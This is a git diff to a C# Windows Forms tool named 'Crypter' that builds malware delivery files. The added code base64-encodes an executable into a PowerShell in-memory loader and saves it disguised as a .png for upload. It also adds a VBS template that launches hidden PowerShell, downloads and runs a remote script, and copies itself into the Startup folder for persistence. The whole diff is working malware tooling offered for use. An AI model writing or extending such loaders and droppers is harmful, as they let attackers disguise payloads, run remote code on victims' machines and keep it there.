diff --git a/Crypter/Crypter.csproj b/Crypter/Crypter.csproj index 90d71d2..8656fbe 100644 --- a/Crypter/Crypter.csproj +++ b/Crypter/Crypter.csproj @@ -138,6 +138,7 @@ + diff --git a/Crypter/Form1.Designer.cs b/Crypter/Form1.Designer.cs index b40d1fa..1014110 100644 --- a/Crypter/Form1.Designer.cs +++ b/Crypter/Form1.Designer.cs @@ -66,9 +66,13 @@ this.button16 = new System.Windows.Forms.Button(); this.button14 = new System.Windows.Forms.Button(); this.button15 = new System.Windows.Forms.Button(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.button18 = new System.Windows.Forms.Button(); + this.button17 = new System.Windows.Forms.Button(); this.contextMenuStrip1.SuspendLayout(); this.menuStrip1.SuspendLayout(); this.groupBox1.SuspendLayout(); + this.groupBox2.SuspendLayout(); this.SuspendLayout(); // // button4 @@ -88,13 +92,13 @@ this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.textBox2.ContextMenuStrip = this.contextMenuStrip1; - this.textBox2.Location = new System.Drawing.Point(144, 193); + this.textBox2.Location = new System.Drawing.Point(242, 193); this.textBox2.MaxLength = 3276700; this.textBox2.Multiline = true; this.textBox2.Name = "textBox2"; this.textBox2.ReadOnly = true; this.textBox2.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.textBox2.Size = new System.Drawing.Size(489, 177); + this.textBox2.Size = new System.Drawing.Size(497, 177); this.textBox2.TabIndex = 3; // // contextMenuStrip1 @@ -139,7 +143,7 @@ // // button5 // - this.button5.Location = new System.Drawing.Point(14, 214); + this.button5.Location = new System.Drawing.Point(144, 170); this.button5.Name = "button5"; this.button5.Size = new System.Drawing.Size(59, 38); this.button5.TabIndex = 6; @@ -179,7 +183,7 @@ // // button9 // - this.button9.Location = new System.Drawing.Point(79, 214); + this.button9.Location = new System.Drawing.Point(144, 82); this.button9.Name = "button9"; this.button9.Size = new System.Drawing.Size(59, 38); this.button9.TabIndex = 10; @@ -199,7 +203,7 @@ // // button11 // - this.button11.Location = new System.Drawing.Point(14, 258); + this.button11.Location = new System.Drawing.Point(144, 233); this.button11.Name = "button11"; this.button11.Size = new System.Drawing.Size(59, 38); this.button11.TabIndex = 12; @@ -219,7 +223,7 @@ // // button13 // - this.button13.Location = new System.Drawing.Point(79, 258); + this.button13.Location = new System.Drawing.Point(144, 126); this.button13.Name = "button13"; this.button13.Size = new System.Drawing.Size(59, 38); this.button13.TabIndex = 14; @@ -234,7 +238,7 @@ this.帮助ToolStripMenuItem}); this.menuStrip1.Location = new System.Drawing.Point(0, 0); this.menuStrip1.Name = "menuStrip1"; - this.menuStrip1.Size = new System.Drawing.Size(645, 25); + this.menuStrip1.Size = new System.Drawing.Size(751, 25); this.menuStrip1.TabIndex = 15; this.menuStrip1.Text = "menuStrip1"; // @@ -287,7 +291,7 @@ // linkLabel1 // this.linkLabel1.AutoSize = true; - this.linkLabel1.Location = new System.Drawing.Point(410, 53); + this.linkLabel1.Location = new System.Drawing.Point(512, 51); this.linkLabel1.Name = "linkLabel1"; this.linkLabel1.Size = new System.Drawing.Size(227, 12); this.linkLabel1.TabIndex = 16; @@ -297,7 +301,7 @@ // label4 // this.label4.AutoSize = true; - this.label4.Location = new System.Drawing.Point(462, 38); + this.label4.Location = new System.Drawing.Point(564, 36); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(113, 12); this.label4.TabIndex = 17; @@ -306,7 +310,7 @@ // label3 // this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(153, 154); + this.label3.Location = new System.Drawing.Point(240, 152); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(29, 12); this.label3.TabIndex = 24; @@ -314,7 +318,7 @@ // // textBox4 // - this.textBox4.Location = new System.Drawing.Point(188, 154); + this.textBox4.Location = new System.Drawing.Point(290, 152); this.textBox4.Name = "textBox4"; this.textBox4.Size = new System.Drawing.Size(445, 21); this.textBox4.TabIndex = 23; @@ -322,7 +326,7 @@ // label2 // this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(153, 118); + this.label2.Location = new System.Drawing.Point(240, 116); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(29, 12); this.label2.TabIndex = 22; @@ -330,14 +334,14 @@ // // textBox3 // - this.textBox3.Location = new System.Drawing.Point(188, 115); + this.textBox3.Location = new System.Drawing.Point(290, 113); this.textBox3.Name = "textBox3"; this.textBox3.Size = new System.Drawing.Size(445, 21); this.textBox3.TabIndex = 21; // // button1 // - this.button1.Location = new System.Drawing.Point(581, 82); + this.button1.Location = new System.Drawing.Point(683, 80); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(52, 21); this.button1.TabIndex = 20; @@ -347,7 +351,7 @@ // // textBox1 // - this.textBox1.Location = new System.Drawing.Point(188, 82); + this.textBox1.Location = new System.Drawing.Point(290, 80); this.textBox1.Name = "textBox1"; this.textBox1.Size = new System.Drawing.Size(387, 21); this.textBox1.TabIndex = 19; @@ -355,7 +359,7 @@ // label1 // this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(153, 86); + this.label1.Location = new System.Drawing.Point(240, 84); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(29, 12); this.label1.TabIndex = 18; @@ -365,7 +369,7 @@ // this.groupBox1.Controls.Add(this.button16); this.groupBox1.Controls.Add(this.button14); - this.groupBox1.Location = new System.Drawing.Point(12, 302); + this.groupBox1.Location = new System.Drawing.Point(14, 214); this.groupBox1.Name = "groupBox1"; this.groupBox1.Size = new System.Drawing.Size(126, 68); this.groupBox1.TabIndex = 25; @@ -402,12 +406,44 @@ this.button15.UseVisualStyleBackColor = true; this.button15.Click += new System.EventHandler(this.button15_Click); // + // groupBox2 + // + this.groupBox2.Controls.Add(this.button18); + this.groupBox2.Controls.Add(this.button17); + this.groupBox2.Location = new System.Drawing.Point(14, 288); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Size = new System.Drawing.Size(126, 68); + this.groupBox2.TabIndex = 27; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "groupBox2"; + // + // button18 + // + this.button18.Location = new System.Drawing.Point(67, 20); + this.button18.Name = "button18"; + this.button18.Size = new System.Drawing.Size(59, 38); + this.button18.TabIndex = 1; + this.button18.Text = "stub"; + this.button18.UseVisualStyleBackColor = true; + this.button18.Click += new System.EventHandler(this.button18_Click); + // + // button17 + // + this.button17.Location = new System.Drawing.Point(2, 20); + this.button17.Name = "button17"; + this.button17.Size = new System.Drawing.Size(59, 38); + this.button17.TabIndex = 0; + this.button17.Text = "VBS\r\nimg"; + this.button17.UseVisualStyleBackColor = true; + this.button17.Click += new System.EventHandler(this.button17_Click); + // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.SystemColors.Control; - this.ClientSize = new System.Drawing.Size(645, 379); + this.ClientSize = new System.Drawing.Size(751, 383); + this.Controls.Add(this.groupBox2); this.Controls.Add(this.button15); this.Controls.Add(this.groupBox1); this.Controls.Add(this.label3); @@ -445,6 +481,7 @@ this.menuStrip1.ResumeLayout(false); this.menuStrip1.PerformLayout(); this.groupBox1.ResumeLayout(false); + this.groupBox2.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); @@ -487,6 +524,9 @@ private System.Windows.Forms.Button button16; private System.Windows.Forms.Button button14; private System.Windows.Forms.Button button15; + private System.Windows.Forms.GroupBox groupBox2; + private System.Windows.Forms.Button button18; + private System.Windows.Forms.Button button17; } } diff --git a/Crypter/Form1.cs b/Crypter/Form1.cs index 5c9225b..a627f03 100644 --- a/Crypter/Form1.cs +++ b/Crypter/Form1.cs @@ -35,7 +35,7 @@ namespace CrypterExample private void button4_Click(object sender, EventArgs e) { - string Source = Crypter.Properties.Resources.base64; + string Source = Resources.base64; if (textBox1.Text != "") { byte[] FileBytes = File.ReadAllBytes(textBox1.Text); @@ -510,5 +510,49 @@ namespace CrypterExample "Error!", MessageBoxButtons.OK, MessageBoxIcon.Information); } } + + private void button17_Click(object sender, EventArgs e) + { + if (textBox1.Text != "") + { + byte[] FileBytes = File.ReadAllBytes(textBox1.Text); + string EncryptedStr = Convert.ToBase64String(FileBytes); + string Source = "[AppDomain]::CurrentDomain.Load([Convert]::Frombase64String('" + EncryptedStr + "')).'EntryPoint'.'Invoke'($null,$null)"; + SaveFileDialog s = new SaveFileDialog(); + s.DefaultExt = "bmp"; + s.Filter = "PNG Files|*.png"; + if (s.ShowDialog() == DialogResult.OK) + { + StreamWriter sw = File.AppendText(s.FileName); //保存到指定路径 + sw.Write(Source); + sw.Flush(); + sw.Close(); + MessageBox.Show("Upload to web,and copy the link to url.", + "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + else + { + MessageBox.Show("Please select the file.", + "Error!", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void button18_Click(object sender, EventArgs e) + { + string Source = Resources.VBS_img; + if (textBox4.Text != "") + { + Source = Source.Replace("123456", textBox4.Text); + textBox2.Text = Source; + MessageBox.Show("Copy to txt file and rename to VBS file.", + "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + else + { + MessageBox.Show("Please enter the url.", + "Error!", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } } } diff --git a/Crypter/Properties/Resources.Designer.cs b/Crypter/Properties/Resources.Designer.cs index a7bca19..e1d37ec 100644 --- a/Crypter/Properties/Resources.Designer.cs +++ b/Crypter/Properties/Resources.Designer.cs @@ -427,6 +427,15 @@ namespace Crypter.Properties { } } + /// + /// 查找类似 的本地化字符串。 + /// + internal static string VBS_img { + get { + return ResourceManager.GetString("VBS_img", resourceCulture); + } + } + /// /// 查找类似 dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") ///dim bStrm: Set bStrm = createobject("Adodb.Stream") diff --git a/Crypter/Properties/Resources.resx b/Crypter/Properties/Resources.resx index e32b288..2b95947 100644 --- a/Crypter/Properties/Resources.resx +++ b/Crypter/Properties/Resources.resx @@ -166,6 +166,9 @@ ..\resources\vb.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;gb2312 + + ..\resources\vbs_img.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 + ..\resources\vbs_url.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 diff --git a/Crypter/Resources/VBS_img.txt b/Crypter/Resources/VBS_img.txt new file mode 100644 index 0000000..cb2012f --- /dev/null +++ b/Crypter/Resources/VBS_img.txt @@ -0,0 +1,26 @@ +Dim Capony +Dim WshProcEnv +Dim process_architecture + +Set Capony = CreateObject("WScript.Shell") +Set WshProcEnv = Capony.Environment("Process") + +process_architecture= WshProcEnv("PROCESSOR_ARCHITECTURE") + +If process_architecture = "x86" Then + attack("Powershell") +Else + attack("C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe") +End If + + + +sub attack(S) + +Capony.Run S +" -noexit -C $cry = new-object Net.WebClient;iex $cry.DownloadString('123456')", CONSOLE_HIDE, CMD_WAIT + + set startshe = wscript.createobject("wscript.shell") +set sysOb = createobject("scripting.filesystemobject") +startup = startshe.specialfolders ("startup") & "\ D" & "DD" & "D.vbs" +sysOb.copyfile wscript.scriptfullname,startup ,true +end sub \ No newline at end of file